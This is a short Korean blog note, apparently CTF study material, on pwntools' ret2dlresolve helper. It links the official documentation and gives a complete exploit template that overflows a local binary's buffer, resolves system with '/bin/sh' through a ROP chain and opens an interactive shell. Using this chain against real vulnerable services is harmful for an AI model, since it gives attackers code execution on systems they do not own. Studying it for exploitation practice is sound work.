Return to dl resolve 공격을 할때, 공격을 좀더 쉽게 해주는 라이브러리? 이다.
https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html
pwnlib.rop.ret2dlresolve — Return to dl_resolve — pwntools 4.7.0 documentation
A Ret2dlresolvePayload object which can be passed to rop.ret2dlresolve
docs.pwntools.com
from pwn import * context.binary = elf = ELF('바이너리') rop = ROP(context.binary) dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh\x00"]) # (바이너리, 찾고자 하는 함수, 함수의 인자) rop.gets(dlresolve.data_addr) # 함수를 실행. 예를들어 read로 입력을 받으면, rop.read(0, buf) 이렇게 rop.ret2dlresolve(dlresolve) # rop를 위해 더해준다? raw_rop = rop.chain() p = elf.process() p.sendline(b'A'*0x88+raw_rop) # ret에 ropchain을 더해준다. p.sendline(dlresolve.payload) # 다음으로 read나 gets가 실행될때, payload를 입력 p.interactive()
사용 방법은 다음 코드를 참조
pwntools - ret2dlresolve
Return to dl resolve 공격을 할때, 공격을 좀더 쉽게 해주는 라이브러리? 이다.
https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html
사용 방법은 다음 코드를 참조
'Technique' 카테고리의 다른 글